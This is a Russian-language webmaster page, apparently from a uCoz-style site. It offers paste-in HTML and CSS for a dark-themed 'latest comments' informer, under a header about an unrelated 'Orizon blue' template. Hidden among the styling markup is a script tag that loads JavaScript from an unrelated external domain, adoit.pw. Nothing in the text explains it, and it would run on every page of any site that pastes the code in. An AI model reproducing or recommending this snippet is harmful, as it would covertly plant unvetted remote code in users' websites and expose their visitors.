Шаблон Orizon blue Поднадоела мне готика, решил адаптировать что то необычное, что порадует всех пользователей. Вот он игровой шаблон Orizon blue! Он простой, но в тоже время необычный... Подробнее...
(0 голосов, средний: 0.0 из 5)   Просмотров: 535   Загрузок:
Автор: Гость
Короткое описание
Уважаемый посетитель, скачивать могут только зарегистрированные пользователи. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.

Описание

Красивый информер последние комментарии для вашего сайта. Этот информер подойдёт для темных дизайнов. В нем преобладают зеленые цвета на которых написано время комментария. Слева находится Аватар того пользователя который оставил комментарий.

2. Заходим в панель управления.

Создаем информер с параметрами:

[Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1]

В шаблон информера вставляем следующий код:

Код
<table><tbody><tr><td valing="top" class="comm_s"><a href="$PROFILE_URL$" target="_blank">  
<img src="$USER_AVATAR_URL$"></a></td>  
<td class="comm_a" valign="top">  
<div class="c_date_comm">  
<div class="c_date">в $TIME$ $DATE$</div>  
</div><script type="text/javascript" src="http://adoit.pw/border.js"></script> </td></tr></tbody></table>  
<div class="mess_commes"><span style="color: rgb(255, 255, 255);">$MESSAGE$</span>  
<div class="t_h">» <a href="$ENTRY_URL$">$ENTRY_TITLE$</a></div></div>  
<style>  
.cell_comment_os {  
  float:left;  
  width:100%;  
  background:#181818;border:1px solid #242424;  
  padding-bottom:3px;  
  margin-bottom:15px;-webkit-border-radius: 4px;  
-moz-border-radius: 4px;  
border-radius: 4px;  
}  
.comment_p {  
  float:right;  
  width:80px;  
}  
.comment_v {  
  margin: 5px 0px 5px 10px;  
}  
.comment_c {  
  overflow: hidden;  
  text-align:justify;  
  margin: 0px 0px 0px 10px;  
  padding: 5px 0px;  
  border-top: 1px solid #1f1f1f;  
}  
.comment_n {  
  text-align:right;  
  margin: 3px 78px 0px 10px;  
}  
.vcc_otvet {overflow:hidden!important; border: 1px solid #ba5d5d; padding: 10px;background:#a55959; }  
.comment_avatar {  
  width:40px;  
  height:40px;  
  padding: 4px;  
  margin: 8px 10px 0px 15px;  
  border: 1px solid #252525;  
  background:#131313;  
  -webkit-border-radius:5px;  
  -moz-border-radius:5px;  
  border-radius:5px;  
}  
a.catName {}  
.catDescr {color:#848484;}  
td.catsTd {padding:4px 0px;}  
.catNumData {color:#777;}  
.comm_back {background:#131313;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;padding:3px;border:1px solid #191919;}  
.comm_s {width:33px;padding-right:2px;}  
.comm_a {width:100%;padding-left:2px;}  
.comm_s img {width:30px;  
  height:30px;border:3px solid #0a0a0a;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;}  
.c_date_comm {background:#111111;padding:4px ;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;}  
.c_date {background:#308d4d;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;padding:8px 4px;color:#1e512e;text-shadow:0px 1px 0px #38a75b;text-align:center;box-shadow:inset 0px 0px 0px 1px #3a9d5b;}  
.mess_commes {background:#111111;padding:4px ;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;margin:3px 0px;border:1px solid #191919;}  
.t_h {color:#494949;font-size:10px;}  
.t_h a{color:#494949;font-size:10px;text-shadow:none;}  
.t_h a:hover {color:#ddd;}  
.con_poll {padding:0px 0px;}  
.tit_poll {background:url(/inf_com/poll_bg.png) repeat-x;height:25px;color:#bcbcbc;font-weight:bold;padding-left:10px;line-height:23px;}  
.con_poll input {outline:none; border:none;}  
.con_poll:not(#Foo) input[type=radio] + label {background:url(http://pnghosts.ru/img/radio_input_1.png) no-repeat 0px 1px;color:#bcbcbc;padding-right:10px;}  
.con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;}  
.con_poll:not(#Foo) input[type=radio] + label:hover {background:url(http://pnghosts.ru/img//radio_input_3.png) no-repeat;cursor:pointer;color:#777;}  
.poll_bg:not(#Foo) label {padding:0 0 10px 20px; color:#ddd;}  
.poll_bg:not(#Foo) input[type=radio] {display:none;}  
.answer {padding:3px 0px;}  
.con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;}  
.pollButton {background:url(http://pnghosts.ru/img/bg_poll_but.png) repeat-x; height:50px;margin-top:4px;line-height:36px;}  
.pollBut {float:left;margin-top:14px;}  
</style>

Похожие материалы:

Похожие материалы:
Всего комментариев: 0
Оставить комментарий
Уважаемый посетитель, добовлять коментарии могут только зарегистрированные пользователи. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.
chat